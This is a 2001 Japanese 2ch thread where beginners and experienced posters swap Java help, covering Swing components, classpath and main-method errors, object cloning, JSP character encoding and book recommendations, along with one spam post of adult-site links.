>最新の「Java Language Specification」に対応している。
>また,本パッケージには,Javaバーチャルマシン用のアセンブラと逆アセンブラが付属している。
だれか試した人いる?
0439デフォルトの名無しさん
01/08/28 17:24ID:HEhScOpA(DB側の項目で設定したバイト数)×2
の文字数(ちょっと違うかも…)になるように、
後ろに空白がついてきますよね?
根本的には、Char型をVarcharに変えるしか、回避策はない、みたいなことを
聞いたけど、他の方法って、何かありますか?
0440デフォルトの名無しさん
01/08/28 17:54ID:udThgedM0441439
01/08/28 18:19ID:HEhScOpAでも、書き忘れ(^^;
Stringのtrim()を全部つけたんだけど(OracleへのSQLにも「rtrim」をつけた)、
これからの膨大な量のDBを考えると頭が痛いの。
だから、「一旦Shift_JISに変換したらOKになった!」(失敗したけど)とかっていう
裏技はないかなって思ったんだ。
スマソ。
0442デフォルトの名無しさん
01/08/28 18:39ID:pDtM2kH2なんか小難しい解説しか出てこなかったよ。>google
0443デフォルトの名無しさん
01/08/28 18:59ID:CHcEZDsQsetCompositionEnabled(boolean enable)
でON/OFF出来る。
setCharacterSubsets(Character.Subset[] subsets)
かなモード等はこれだが、使ったこと無い。
0444442
01/08/29 11:52ID:ivIngT8Qimport java.awt.im.InputSubset; を追加して
void jTextField1_focusGained(FocusEvent e) {
jTextField1.getInputContext().setCharacterSubsets(new Character.Subset[] {InputSubset.KANJI});
}
とやったらかなモードになった。ありがとう!
0445デフォルトの名無しさん
01/08/31 01:18ID:xFqqAHeQやりかたわからんです
検索かけまくるとアプレットだったり携帯ばっかでウツっすTT
0446デフォルトの名無しさん
01/08/31 01:42ID:nMDk.et61.3以降ならJavaSoundが使える。
JavaSound公式ページ(サンプルプログラムあり)
http://java.sun.com/products/java-media/sound/index.html
それがだめなら非公式のsun.audioパッケージもあるよ。
JavaWorldでだいぶ前に解説記事があった気がする。
もしかしたらコードがここに上がってるかも。無かったらゴメソ。
http://www.idg.co.jp/magazines/magazine/jw/editor/backno_archive.html
がんばってちょ。
0447デフォルトの名無しさん
01/08/31 01:43ID:jhp9AnFQ0448445
01/08/31 01:46ID:xFqqAHeQhttp://www.idg.co.jp/magazines/magazine/jw/editor/backno_archive.html
まだ希望の物は探せてないけど役立ちそうっす
多謝
0450デフォルトの名無しさん
01/08/31 15:02ID:YayDFk/6javaだとどう書いたらいいんでしょうか?
0451デフォルトの名無しさん
01/08/31 19:38ID:jhp9AnFQ0452デフォルトの名無しさん
01/08/31 19:50ID:YayDFk/6説明不足ですいません。
http://www.rfs.co.jp/sitebuilder/perl/func/05.html#unpack
こんな感じです。
引数については
http://www.rfs.co.jp/sitebuilder/perl/func/03.html#pack
に一覧があります。
自分なりにいろいろと検索したのですが、
そのものズバリの事例が見つからずどうしていいのか困っていました。
よろしくお願いします。
0453デフォルトの名無しさん
01/08/31 20:44ID:Lfqk4wpgもし、文字列をcharの配列に変換したい?ということなら、
String#getChars()だと思うけど、どう?
perlはすっかり忘れたので、自身ないけどね。
0454デフォルトの名無しさん
01/08/31 20:54ID:jhp9AnFQそのままずばりは無いと思うぞ、ただ、対象データがファイルなら
オブジェクトのシリアライズが近いか。
けどやっぱしずばりは無いな。
0455452
01/08/31 21:44ID:YayDFk/6レスありがとうございます。
ええと、上のコードは入力されたString(入力されるのは半角英字のみ)を
10進数のascii文字コードに変換するのが目的だと思います。
(perlも囓った程度の中途半端な知識しかないので、すいません)
http://www.e-words.ne.jp/page.asp?p=r-ascii
ここの表のAなら65といった具合です。
javaの内部はユニコードで処理されるんですよね?
そうだとjTextField.getText()で得た文字列はユニコードですよね。
それとも、クライアントマシン上のコードなんでしょうか。
文字コードについてもいまいちよくわかってないので
自前で関数書くにも取っ掛かりがつかめません。
よろしくおねがいします。
0456横やり男
01/08/31 22:04ID:SYzSjnwsそのとおりJTextFieldの入力はUNICODE。
入力が半角英字のみなら>>453で良いんじゃないか?
ユニコードはいわゆる半角英字はASCIIの上位バイトに0x00つけただけ
だからgetChars()でchar型の配列にすればいい。
charは16bitの整数型だからあとでintに代入したり計算もできる
でそれで何がしたいんだ?
すでにある機能の車輪の再発明してるってことはないか?
0457452
01/08/31 22:16ID:YayDFk/6ありがとうございます。さっそくやってみます。
ところで車輪ってなんでしょうか?
いまやっているのは、特に何かを作ろうという目的ではなく
勉強の為にperlのプログラムを移植してjava慣れるとっかかりに
なればなと思っていました。(perlのほうが幾分なじみがあるので)
0458デフォルトの名無しさん
01/08/31 23:34ID:l23fvLAEjava.text.MessageFormatだろうなあ。
0459デフォルトの名無しさん
01/09/01 00:15ID:8UdnvL3A使えないのかな?
ジャヴァ.テキスト.書式出力
0460デフォルトの名無しさん
01/09/01 00:31ID:FZv7KtfEimport java.io.*;
class Text { static String 書式出力 = "逝ってよし"; }
class ジャヴァ { static Text テキスト = new Text(); }
public class Javanese {
public static void main(String[] args) { System.out.println(
ジャヴァ.テキスト.書式出力
);}}
0461デフォルトの名無しさん
01/09/01 00:41ID:Cyn3zltk0462デフォルトの名無しさん
01/09/01 01:07ID:A0JSwk9Y0463デフォルトの名無しさん
01/09/01 02:42ID:ZapWNfO6「車輪の再発明(Reinventing Wheel)」
既にあるものをわざわざ作ろうとすることのたとえです。
ソフトウェア業界でしばしば使われます。
Libraryでサポートされている機能を、自分で実装しようとするような行為に対して
使われます。
ただし、プログラミングの練習だったら、いいとは思いますが。
0464デフォルトの名無しさん
01/09/02 02:32ID:ZaNidJ62そんなのはVBAでのみやってくれ(涙
でもC#本でもそんなのを見かけて萎えた
0465デフォルトの名無しさん
01/09/02 08:57ID:xLbxH7Pwはげどー
VBAで使って,とんでもない動きしてくれて3日かけて全部アルファベットに直した。
0466デフォルトの名無しさん
01/09/02 11:59ID:Kkm5gZl.それ見てぇ、できたらプリーズ
0467デフォルトの名無しさん
01/09/02 23:55ID:1HD1sqVIそれでF1もう始まってるのに気が付いた。
あぶねー。
0468デフォルトの名無しさん
01/09/04 04:06ID:e9TGzYaY買って サンプルプログラムを使った方いませんか?
なぜか、書いてあるとおりにやってるのにjavaが
動かないんですけど、しかも、知り合いのパソコンでも動かないし・・・
ほかにやらなくちゃいけない設定とかあるのかな??
javac以降がですが・・・cd c:¥javasampleまでは
受け付けるのですけど
0469デフォルトの名無しさん
01/09/04 04:19ID:xADXB3S60470デフォルトの名無しさん
01/09/04 13:37ID:qzsSnwq6ってどういう意味なんですか?
最近勉強し始めたんで初心者です。
すいません、誰かお願いします。
0472デフォルトの名無しさん
01/09/04 14:10ID:3EGzhep2公的な静的な空のメイン(ストリング[] args)
0473デフォルトの名無しさん
01/09/04 14:20ID:7hOGaXaIで、次に読む本を探してるんだけど「Javaの鉄則」と
「Javaパフォーマンス戦略」が良さそうだったYO!
(本屋でちょっと立ち読みした程度だけど)
この本どう?読んだ人いない?もしいたら感想きぼーぬ
0474デフォルトの名無しさん
01/09/04 14:31ID:x6d7eKIAmainていう関数からJavaアプリケーションは起動する仕様なんだよ
public static void はそれぞれ入門書の索引でも引いてみな
その一行はイディオムと思って分からないうちはコピペしとけ
0475デフォルトの名無しさん
01/09/04 21:01ID:tRIYgGh2「Javaの鉄則」読んだけど、
その前に同じピアソンの同じ大きさの本である「Javaの格言」を読んだほうが
分かり易くて良いかも。
パフォーマンス戦略は読んでないけど、順番的にはデザインパターン系のものを
先に読んだ方が良くはないかな?C++とかで勉強済みならいいけど。
0476デフォルトの名無しさん
01/09/06 01:28ID:TPh1BZ/o細かいコーディングとかに凝りたい人には良いと思う。
0477デフォルトの名無しさん
01/09/06 06:48ID:OxoGCL8A他言語移籍組なら、
Javaの鉄則はいいと思うよ。
スレッド・コンストラクタ・例外処理・等値など
「Java」ならではの注意点を述べてあるよ。
0478デフォルトの名無しさん
NGNGフリーソフトってありますか?
このスレで外出のURLはどこかへお引越しされたみたいで・・・
0479優しいおにいさん
NGNGここでどうでしょう。
0480478
NGNG早速すいません。今翻訳ソフト使ってホームページ見ているところです。
ダウンロードして試してみますね。ありがとうございました。
0481デフォルトの名無しさん
NGNG面接時にノートとスピーカを持ち込み、
「これが私の作曲した曲です」といって
レコンポーザで曲を再生したら即OKだったそうな。
0482473
NGNG「Java の格言」買って来て読むことにしました。パフォーマンス
戦略と鉄則はまた今度…。どんどん「読んどけリスト」が長く
なってくる(鬱
デザインパターンの本は「Javaプログラムデザイン」を
読んでる、これ凄く良いと思ったよ。
0483デフォルトの名無しさん
NGNG0484デフォルトの名無しさん
NGNG読了するのにこだわるよりとにかく作りたいもの作ってみようYO
0485デフォルトの名無しさん
NGNG正しい。
0486デフォルトの名無しさん
NGNGあれって結局どうなったんだろ?
0487デフォルトの名無しさん
NGNG0488デフォルトの名無しさん
NGNG幻
0489ジャバちゅー
NGNGあと松下か東芝だったかどっかがβを作ってたようなきがする
個人的には
超マイクロカーネル+JavaVMって構成だけみれば
いま携帯とかに組み込まれてる組み込みOSが
ほとんどそれに近い気がするんだけど。
(Java以外で構成されている部分の割合が多いけどね)
↓ここでちょっと盛り上がってた
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=998502881&ls=50
0490デフォルトの名無しさん
NGNG日本には情報が全然無くて困る。
0491デフォルトの名無しさん
NGNG0492デフォルトの名無しさん
NGNGJTreeとJTableは萌えます。
0493ああ
NGNG何だこれは。
0494デフォルトの名無しさん
NGNG0495優しいおにいさん
NGNGAbstractTableModel(又はユーザがそれを継承して作ったクラス)
のsetValueAt()は、実装が空なので、モデルデータ変更のビューへ
の通知がされません。
実装するのも面倒なので、素直にDefaultTableModel(又はその継承
クラス)を使用しましょう。このクラスには、ビューへの通知を行う
イベントインスタンスの生成と通知を行う実装が、setValueAt()に
なされているはずです。
0496デフォルトの名無しさん
NGNG2 int main ( ) {
3 System.out.println ( "OK" ) ;
4 return 0 ;
5 }
6 }
をコンパイルして実行すると
Exception in thread "main" java.lang.NoSuchMethodError: main
って出るんですけど何がいけないんでしょうか…
0497デフォルトの名無しさん
NGNGつまんね。あ゛ーつまんね。
0498↑
NGNG0499優しいおにいさん
NGNG>java Test
で起動しようとした場合、VM起動ののち、デフォルトの唯一
のユーザスレッドである"main"と言う名前のスレッドが
Testクラスの
static void main (String[] args);
と言うメソッドをコールしようとします。
ところが、貴方のクラスには上記のメソッドが存在
しない(int main()は、オーバライドされた別の
メソッドということです)ので、"main"スレッドは
NoSuchMethodError(そんなメソッドありません
エラー)を投げます。
と言う事で、mainの記述を
static void main(String[] args)
に変更してみましょう。
0500優しいおにいさん
NGNG正:オーバーロード
すみません。間違えました。
0501デフォルトの名無しさん
NGNG2 static void main ( String[] args )
3 {
4 System.out.println ( "OK" ) ;
5 }
6 }
実行できました。あーりがとー優しいおにいさん。
0502デフォルトの名無しさん
NGNG2 static void main ( String[] args ) {
3 Sub sub = new Sub ( ) ;
4 }
5 }
6
7 class Sub {
8 void Sub ( ) {
9 System.out.println ( "OK" ) ;
10 }
11 }
サブルーチンにしたらOKが表示されないんですけど…(;_;)
どうしたらいいんでしょうか…
0504デフォルトの名無しさん
NGNG0505デフォルトの名無しさん
NGNG0506
NGNGやるとエラー出ます。
あと
#if 0
#else
#endif
も駄目です。
0507
NGNG0508デフォルトの名無しさん
NGNG反転など)のほかに、どのような利用方法があるのですか?
本を見るとJTextComponentで文字ごとの色分けができそうな
ことが書いてあるのですが、それは可能なのでしょうか?
0509デフォルトの名無しさん
NGNG>>506 貴重な情報をありがとうございます…はまりかけてました
0510優しいおにいさん
NGNGDefaultHighlighter、DefaultHighlightPainterを適当に
オーバライドすることで、いろいろ遊べると思います。
ハイライトは、addする以前にDocumentに存在する文字列の表示にのみ
有効なので、実際にはCaretListenerを併用する事になるでしょう。
こんなところでよいでしょうか。
import java.awt.*;
import javax.swing.*;
import javax.swing.text.*;
public class TestTextComponent{
public static void main(String args[]){
try{
JFrame frame = new JFrame();
JTextArea area = new JTextArea();
frame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
frame.getContentPane().add(area);
frame.setSize(400,200);
frame.show();
DefaultHighlighter highlighter = new DefaultHighlighter();
area.setHighlighter(highlighter);
area.setText("012345678901234567890123456789");
highlighter.addHighlight(0,10,
new DefaultHighlighter.DefaultHighlightPainter(Color.red));
highlighter.addHighlight(10,20,
new DefaultHighlighter.DefaultHighlightPainter(Color.blue));
highlighter.addHighlight(20,30,
new DefaultHighlighter.DefaultHighlightPainter(Color.green));
}
catch(Exception e){e.printStackTrace();}
}
}
0511優しいおにいさん
NGNG1.オブジェクトのコピーが必要な場合:
Object implements Cloneable #clone()と言うメソッド
があります。
これは、オブジェクトインスタンスが所有するインスタンスフィールド
自身の値をコピーした、新しいオブジェクトを生成して返します。
但し、このメソッドはprotectedですので、複製を自由に行いたいクラス
がある場合は
class UserClass implements Cloneable{
public Object clone(){
try{return super.clone();}
catch(CloneNotSupportException e){/**not reachable**/}
}
}
を記述する必要があります。これで、インスタンスコピーは簡単に
UserClass a = new UserClass();
UserClass b = (UserClass)a.clone();
できます。
但し、一つ注意する事があります。clone()メソッドは、インスタンスフィールド
を単にコピーするだけですので、インスタンスフィールドがあるオブジェクト
インスタンスへの参照だった場合、その内容はコピーされません。単に参照が
コピーされるのみです。(シャローコピーと呼ばれます)
参照先のオブジェクトの内容のコピーが必要な場合は、例えば
public UserClass2 implements Cloneable{
public UserClass ref;
public Object clone(){
try{
UserClass2 obj = (UserClass2)super.clone();
obj.ref = ref.clone();//ディープコピー実装
return obj;
}
catch(CloneNotSupportException e){/**not reachable**/}
}
}
といった実装を自分で行う必要があります。
2.プリミティブアレイのコピーが必要な場合
System#arraycopy()を使用しましょう。
こんなところでよろしいでしょうか。
0512優しいおにいさん
NGNG正:if(ref!=null)obj.ref =(UserClass)ref.clone();//ディープコピー実装
度々すみません。
0513508
NGNGまさにこんな感じです!これをいろいろといじって勉強したいと思います。
ありがとうございました。
0514デフォルトの名無しさん
NGNG0516514
NGNGネタ心者にわざわざ説明サンクスコ
0517デフォルトの名無しさん
NGNG2. 演算子のオーバライドをサポートするように完全に書き直す
3. コンパイルして java のコンパイラを作る
これで出来ると思うけど、…ダメか、これではもう Java とは違う
別の言語だ(w
0518514
NGNGあとでやってみます >>517
0519ああ
NGNGありがとう!優しいお兄さん!
0520デフォルトの名無しさん
NGNGアホ?
0521デフォルトの名無しさん
NGNGディープコピーの実装がめんどくさいときは、
コピーしたいクラス、及び、そのクラスメンバのクラスを
シリアライズ可能にしておいて、
コピー元をObjectOutputStream→ObjectInputStream
で読み込みんで、コピーを作成する、という裏技(?)もあるよ。
0522デフォルトの名無しさん
NGNG0523デフォルトの名無しさん
NGNGちなみに、JTextArea.setTabSize(int)の実装をそのまま
もらってきただけです。
質問する前に、ソースを読んでみるというのは、良い選択肢
であるかと思われます。
import javax.swing.*;
import javax.swing.text.*;
import java.awt.*;
public class TestPane{
public static void main(String args[]){
try{
JFrame frame = new JFrame();
JEditorPane area = new JEditorPane();
frame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
frame.getContentPane().add(area);
frame.setSize(400,200);
frame.show();
Document doc = area.getDocument();
doc.putProperty(PlainDocument.tabSizeAttribute, new Integer(2));
}
catch(Exception e){e.printStackTrace();}
}
}
0524522
NGNGすいません、質問文が簡単すぎました。
私もJTextAreaのソースを見て同じように実装してみました。
ContentTypeがtext/plainならOKですが、text/rtfにするとPlainDocumentを
使用せず、StyledDocumentを使用するので効果無しでした。
ContentTypeをrtf形式のままタブ幅を小さくすることはできないのでしょうか?
0525デフォルトの名無しさん
NGNG0526ああ
NGNGprotected int NUM_COLUMNS = 5;
static final public String col0 = "名前";
static final public String col1 = "学年";
static final public String col2 = "パート";
static final public String col3 = "性別";
static final public String col4 = "前年度支払状況";
protected Vector data = null;
public MyTableModel () { super(); data = new Vector(); }
public String getColumnName (int col) {
switch (col) {
case 0: return col0;
case 1: return col1;
case 2: return col2;
case 3: return col3;
case 4: return col4;
} return "";
}
public synchronized int getColumnCount () { return NUM_COLUMNS; }
public synchronized int getRowCount() {
if (data.isEmpty()) { return 0; }
else { return data.size(); }
}
public synchronized Object getValueAt (int row, int col) {
if (data.isEmpty()) { return ""; }
else {
Buin buin = (Buin)data.elementAt(row);
switch (col) {
case 0: return buin.name;
case 1: return buin.gradestring;
case 2: return buin.part;
case 3: return buin.gender;
case 4: return buin.deptstring;
} return "";
}
}
public synchronized void updateData (Vector buindata) {
data = buindata;
fireTableDataChanged();
}
}
おれはやっぱり頭が悪いんだな。
0527デフォルトの名無しさん
NGNG0528デフォルトの名無しさん
NGNGhttp://www.nk-exa.co.jp/~andoh/java/3d/j3faq.html
[Q] OpenGL Java binding と Java 3D はどう違うのでしょう?
どういうときにどちらを選べばいいのでしょう?
OpenGL Java binding は OpenGL の各関数を wrapper でくるんで、
Java から利用できるようにしたものです。
OpenGL はハードウェアに密着した低レベル API であるのに比べ、
Java3D はシーングラフベースの高レベル API であるのが大きな違いです。
よりハードウェアに密着した高速のグラフィックスを求める場合には
OpenGL Java binding を用い、シーングラフベースでモデルデータを
扱いたい場合や、カリング等の機能をわざわざ自分で実装するのではなく、
API にまかせてしまいたい場合は Java3D を使うのが良いでしょう。
0529デフォルトの名無しさん
NGNGどう、出来た?
0531517
NGNGゴメンゴメン、コンパイラを完全に書き直さなくても良かったんだ、
この方法ならたったの2ステップで演算子オーバーライドが実現できます!
1. 演算子オーバライドを適当なメソッドに直すようなプリプロセッサを作る
2. Java のコンパイラドライバの最初の部分にプリプロセッサの呼び出しを追加。
どっちの方法でも良いけど、もしできたら Sun に報告してあげるといいでしょう!
0532デフォルトの名無しさん
NGNGプログラミングを補助するようなあるプログラム(検索系)を初心者ながら作って
いるのですが、機能とは全く関係ないところで、少し疑問があります。
Swingで例えばメニュー項目(JMenuItem)やダイアログボックス(JDialog)
などで表示される文章を日本語で表示したりすると、ゴシック体ではなく、消え
かかった(? 私にはそう見えます)明朝体で表示されますよね。あとOKのとこ
ろが「了解」とか。
今更ながら「了解」もないし、明朝体よりもゴシック体の方が見やすいし・・・
Metalのルック&フィールで、これらを操作するメソッドや他の方法ってあるんで
しょうか?
APIドキュソメントや書籍をみても記載されていないようですし。変えようとし
たい俺がドキュソ?
ちなみに環境は「Win98」「jdk1.3.1」です。
0533デフォルトの名無しさん
NGNGどのようにしたらいいのでしょうか?
オフスクリーンに書き込むようにすれば可能だと思うのですが、その方法がわかりません。
よろしくお願いします。
0534デフォルトの名無しさん
NGNGJava系の技術の進化は早すぎてフォローしきれないね。
0535デフォルトの名無しさん
NGNG例えば、
LookAndFeel laf = UIManager.getLookAndFeel();
UIManager.put("fgc1", Color.red);
UIManager.put("bgc1",Color.green);
UIManager.put("font1",new Font("SansSerif",1,18));
で、JMenuのインスタンスjMenu1を持つmeというJFrameがあるとして、
laf.installColorsAndFont(me.jMenu1,"bgc1","fgc1","font1");
とすると、とりあえず、jMenu1の表示は、指定の色とフォントになる。
ダイアログのボタンの文字は、
Object[] options = { "いいよ", "やだね" };
JOptionPane.showOptionDialog(null, "ではでは", "ためし",
JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE,
null, options, options[0]);
なんてすればいい。
もっとも、LookAndFeelではなく、直接、メニューやボタンのsetFontなど
を使った方が簡単かも。
0536デフォルトの名無しさん
NGNGJava3D 1.2以上なら
Canvas3D.getOffScreenBuffer()かな。多分。
あるいはjava.awt.Robotで(ぷ
0537デフォルトの名無しさん
NGNGJInternalFrame にJTextAreaをadd してます。
(正確には、JInternalFrame <-- JScrollPane <-- JTextArea)
フレームを最大化した時等に当然のように
フレームそのもののサイズは変わるのですが
add したJTextArea のサイズは変わってくれません。
何かを設定することにより、勝手にサイズが変わるように出来るのでしょうか?
それとも、何かのリスナ、もしくはインタフェースをimplements して
ロジックを入れなければいけないんでしょうか?
0538デフォルトの名無しさん
NGNG何にもしなくても、期待通りになると思うけどね。
以下、チュートリアルのコードを元に、JextAreaを加えてみた。
public class MyInternalFrame extends JInternalFrame {
static int openFrameCount = 0;
static final int xOffset = 30, yOffset = 30;
public MyInternalFrame() {
super("Document #" + (++openFrameCount),
true, //resizable
true, //closable
true, //maximizable
true);//iconifiable
JTextArea tA = new JTextArea();
tA.setLineWrap(true);
getContentPane().add(new JScrollPane(tA));
setSize(300,300);
setLocation(xOffset*openFrameCount, yOffset*openFrameCount);
}
}
0539538続き
NGNGチュートリアルっていうのは、
http://java.sun.com/docs/books/tutorial/uiswing/components/internalframe.html
のことね。
0540Java3日目
NGNGCould not import java/lang/Ovject とエラーが出てコンパイル出きません。
classes.zipはJDK1.1.8のを使っています。
これは何が原因なんでしょうか?
0541デフォルトの名無しさん
NGNG0542537
NGNGしなくなってしまう」というようなことはありますか?
0543538
NGNGそれは、あなたが何をやっているのか、自分で確認したほうが早いよ。
まあ、例えば、JInternalPaneのレイアウトがnullになっているとか。
指定しなければ、BorderLayoutのはずだから、問題ないんだけどね。
0544537
NGNGとやってたのが原因だったみたいです。
本のサンプル見ながらやってたんですが
きちっと、レイアウトのことを理解してなかったのが
まずかった。。
そんなわけで、逝ってきます
0545デフォルトの名無しさん
NGNG0546デフォルトの名無しさん
NGNG前にSunのJavaのサイトでフレームを使った
APIのライブラリみたいのがあったのですが
見当たらなくなってしまいました。
ご存知の方いらっしゃいますか?
0547デフォルトの名無しさん
NGNGDL http://java.sun.com/j2se/1.3/ja/docs.html
0549デフォルトの名無しさん
NGNG引き継ぎ手が居なくて当分面倒見ていかないといけない、
てなことにならないようにな
0550532
NGNG亀レスで恐縮です。ありがとうございました。
その後頂いたレスを参考にし、参考書をもう一度見なおしてみました。setFontで
色々やってみて以下の方法でできることを確認しました。
hoge.setFont(new Font("Dialog", Font.BOLD, 14));
Javaの文法になれないせいか、まだピンと来ないところもあるようです。またダイアログの方は
まだ手が付けられないですが、頑張ってみます。
0551デフォルトの名無しさん
NGNGJBuilderとかと比べて・・
0552デフォルトの名無しさん
NGNGダウンロードまで異常に面倒くさいんだよ・・・
Sunは何を考えてるんだろ。
使い勝手はわからん。今ダウンロード中。
0553デフォルトの名無しさん
NGNG気軽にjavadoc実行できるのはいい感じ。
最初に自動生成するソースのコメントとかも親切かも。
補完もまあ普通に使えるし。
フォントを変えても問題ないところはナイス。ってJBuilderがダサいだけか。
JBuilderのプロジェクトをどうやって持ってくればいいか不明。
0554妄想技術
NGNGHelloWorldでつまっちまいました(汗
−−−−−HelloWorld.java−−−−−
class HelloWorld{
public static void main(String[] args){
System.out.println("Hello World");
}
}
−−−−−HelloWorld.java−−−−−
付録のsdk1.3.1インストして「javac HelloWorld.java」でコンパイルは
出来たんだけど、「java HelloWorld」で実行するとエラー。
Exception in thread "main" java.lang.NoClassDefFoundError: HelloWorld
本に書いてある通りやったつもりなんだけど全然わからん。
助けて(涙
0555デフォルトの名無しさん
NGNG0556妄想技術
NGNGWIN2000proです。
pathは「c:\jdk1.3.1\bin」で切りました。
JAVA_HOMEについての記述は、Linuxにインストールする場合、って
括りでありましたが、win2kでもあるんでしょうか?
0557デフォルトの名無しさん
NGNGコンパイルも実行もカレントディレクトリで行っているとして、多分、
classpathがカレントディレクトリを含まない形で設定されているのでは。
一度、set classpath= として、classpathを消してから、続けて
java HelloWorldをやってみれ。
0558デフォルトの名無しさん
NGNGIモードからサーブレットへ、そしてJSPを利用したソフトウェアを作りたいんですが。
0559デフォルトの名無しさん
NGNG0560妄想技術
NGNGJbuilder4を入れてたので、classpathが変なところにいってました。
Jbuikder4よく解らないので消しちゃいました(汗
ありがとうございました。
0561デフォルトの名無しさん
NGNGhttp://www.sex-jp.net/dh/02/
http://www.sex-jp.net/dh/03/
http://www.sex-jp.net/dh/04/
0562デフォルトの名無しさん
NGNGWEBサーバー上にファイルを作れというお達しです。
しかし、できたファイルは文字化けします。
何とかならないものでしょうか。
<%@page import="java.net.*" %>
<%@page import="java.util.*" %>
<%@page import="java.sql.*" %>
<%@page import="javax.sql.*" %>
<%@page import="oracle.jdbc.driver.*" %>
<%@page import="oracle.jdbc.pool.*" %>
<%@ page contentType="text/html;charaset=Shift_JIS" %>
<%
String sfname = "";
BufferedWriter outf = null;
//------------------------
//処理開始
//------------------------
//
try {
sfname = "testtest.csv";
outf = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(sfname),"SJIS"));
int i;
String wrtb="";
for (i=1 ;i <= 1000 ; i ++){
wrtb = "こんばんわ![" + i + "]";
outf.write(wrtb);
outf.newLine();
}
outf.flush();
outf.close();
%>
<HTML>
<HEAD>
<TITLE>できるかな</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
</HEAD>
<BODY>
<A HREF="testtest.csv">ダウンロード CLICK </A>
</BODY>
</HTML>
<%
} catch (Exception e) {
System.err.println(e);
System.exit(1);
}
%>
0563あれ?
NGNG0564デフォルトの名無しさん
NGNGSJISで駄目ならMS932にしたらどう
0565デフォルトの名無しさん
NGNGとりあえず、
<%@ page contentType="text/html;charaset=Shift_JIS" %>
を
<%@ page contentType="text/html;charset=Shift_JIS" %>
にしてみたらどう?
0566
NGNGサーバーうんぬんより、Javaとコンピューターの基礎知識
が無いのでは?
あの本読めばサーブレットーアプリ作成開始まで二日でいけるぞ。
0567デフォルトの名無しさん
NGNG565さんありがとうです。感謝します。
情けないことでした。こんなことで時間を潰してしまったぁぁ。
ありがとうございました!!!
みなさまもありがとうございました。
0568デフォルトの名無しさん
NGNG0569デフォルトの名無しさん
NGNG0570デフォルトの名無しさん
NGNGあれを読みこなさないとだめですか?本買って勉強したほうが早いですか?
あと、サーブレットAPIの日本語ドキュメントって何処にあるのでしょうか?
よろしくお願いします。
0571デフォルトの名無しさん
NGNGなんてこった・・・
0572優しいおにいさん
NGNG<第1段階>
言語仕様や文法などを勉強するレベルでは、初心者本が有効です。
<第2段階>
文法について一通りが分かるようになりましたら、APIドキュメントと
にらめっこしながら、いろいろなAPIを叩いて遊んでみるのがいいと
思います。このあたりまでは、理論より実践優先が良いと思います。
<第2.5段階>
言語によらないプロトコル(ネットワークプログラミングの約束事、ファイル
システムなどOSの知識など)が必要になるプログラムを作りたいと思うように
なった場合、Java自体から離れて勉強する事も必要でしょう。
<第3段階>
JavaなどOOP言語での効率的な設計を勉強するために、そういった知識に
関する専門書が必要です。この場合、OOPに関する優良な古典本の多くは、
C++、SmallTalkなど別言語を例に用いている場合が多いので、そのあたり
の知識も必要かもしれません。
<第4段階>
第3段階の知識を応用しましょう。継承と委譲を使いこなせば、自由な世界が
目の前です。
例えば私は、Swingの自分専用LookAndFeelライブラリなどをもっています。
サーブレットはJ2EEに含まれます。SunのサイトでJ2EE日本語版ダウンロード
サイトを探せば、そこからドキュメントダウンロードが可能なはずです。
例えばJ2EESDK1.2.1版ならここから。
http://java.sun.com/j2ee/sdk_1.2.1/ja/index.html
但し、中を見ていないので、ドキュメントは英語かもしれませんが。
0573デフォルトの名無しさん
NGNGようやく第1段階を抜け出そうともがいているところでした。
プロトコルやHTTPなど存在することは知っていたのですが、
JAVA以外は関係ないものだと思っていたので、
10ぐらいの勉強でできると思っていたら、
1000ぐらい必要だと知って打ちひしがれていたところです。
第2.5段階とは絶妙の分類ですね。
第2・2.5段階を頑張っていきます。
0574ネタ男
NGNGアプレットつくたのです。
いっしょうけんめいつくたのです。
0575デフォルトの名無しさん
NGNG0576ネタ男
NGNGいや、ブラクラちゃうんですけど(笑)。
0577デフォルトの名無しさん
NGNGたしかに、ブラクラではなかったけど・・・
どうしたの??
それはそうと、ブラクラチェッカー、「403 Forbidden」ってなるんだけど・・・
どうしたんだろう?
0578デフォルトの名無しさん
NGNGちなみ現在持ってるJAVA関係の本は独習JAVAです。
0579デフォルトの名無しさん
NGNG0580デフォルトの名無しさん
NGNG「サーブレット&JSPではじめるJavaサーバサイドプログラミング」
原田洋子著 技術評論社刊 2980円+税
ISBN 4-7741-1165-1
0581デフォルトの名無しさん
NGNG呼び鈴に触ったら「ピンポーン」とか音鳴らないの?
0582デフォルトの名無しさん
NGNGxxx.java を コンパイル → xxx.class → htmlで見て・・・
ソース微調整 → 再コンパイル → htmlを見る →ちっとも変わってない。
これはどうしてですか?
マシンを再起動したり、クラス名を変えれば変更が反映されるのですが。
0583デフォルトの名無しさん
NGNGhtmlを見るブラウザは、再コンパイル後に起動しなおしている?
ブラウザが生きたままだと、変更は反映されないみたいよ。
0584デフォルトの名無しさん
NGNGappletviewer hoge.html
コンパイル → 再読込み
たまにブラウザで確認
0585ネタ男
NGNGZキー連打でピンポン鳴りまくる仕様ですよ。
>>584
便乗ですが、appletviewerではjava.util.Randomが動くのに
IEで動かすと死ぬのは他の方の所でも出ている現象なのでしょ
うか?
0586
NGNG0587デフォルトの名無しさん
NGNGインストールしてみました。
ところが、demo/applets/Animator/にあるアプレットが動作しません。
exeption: java.lang.ClassNotFoundException: java.util.List
というエラーメッセージが出てしまいます。
どなたか対処法をご存知ないでしょうか。
Win2000+IE5SP2で稼動させています。
0588
NGNG0589
NGNGIEのキャッシュ機能じゃないかなー。
0590デフォルトの名無しさん
NGNGcmd.exe から appletviewer を使って
アプレットのHTMLファイルを開くとデモを見られるよ。
IE4/5/6では、JDK1.2以降に付属しているデモ(アプレット)は動きません。
IE4/5/6のJava仮想マシンのバージョンが1.1だからです。
Java plug-inを使うとIEでもJDK1.2以降のアプレットを実行できるけど、
話がややこしくなるので置いておく。(^^;;;
0591デフォルトの名無しさん
NGNGこの本イイですか?
0592デフォルトの名無しさん
NGNGありがとうございます!
appletviewerを使用すると、動作しました。
ということは、IEでjdk1.2以降のアプレットを実行するには、
java plug-inをインストールする必要があるのでしょうか。
他に方法があれば、どなたか教えていただきたいのですが。
0593デフォルトの名無しさん
NGNG0594デフォルトの名無しさん
NGNGコンパイル時のメッセージが日本語でした。
日本語版のページには逝かずに英語版のつもりでDLしたのに、一体なぜ・・?
0595デフォルトの名無しさん
NGNG一体どうなってるんでしょうか。。
